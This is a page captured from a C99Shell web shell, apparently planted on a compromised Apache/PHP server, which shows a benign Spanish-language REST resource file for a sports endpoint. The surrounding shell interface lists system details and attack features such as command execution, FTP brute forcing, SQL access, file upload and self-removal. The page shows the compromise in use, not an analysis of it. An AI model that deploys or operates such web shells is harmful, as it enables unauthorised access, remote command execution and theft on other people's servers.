!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_referencia/php/rest/personas/deportes/   drwxr-xr-x
Free 14.6 GB of 61.93 GB (23.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     recurso_deportes.php (1016 B)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once("modelo/modelo_persona.php");

use 
rest\rest;


/**
 * @description Operaciones sobre Deportes de las personas
 */
class recurso_deportes implements \rest\lib\modelable
{

    public static function 
_get_modelos()
    {
        return 
$models = array(
            
'Deporte' => array(
                
'deporte' => array('type' => 'integer'),
                
'dia_semana' => array('type' => 'string'),
                
'hora_inicio' => array('type' => 'string'),
                
'hora_fin' => array('type' => 'string')
            )

        );
    }

     
/**
     * Se consume en GET /personas/{id}/deportes
     * @summary Retorna todos los deportes que practica la persona.
     * @param_query $nombre string 
     * @response_type [ {deporte: integer, dia_semana: integer, hora_inicio: string, hora_fin:string}, ]
     * @errors 404 No se pudo encontrar a la persona
     */
    
function get_list($id_persona)
    {
        
//si estuviese en el padre, se llamaria como get_deportes_list
        
$deportes modelo_persona::get_deportes($id_persona);
        
rest::response()->get($deportes);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5997 ]--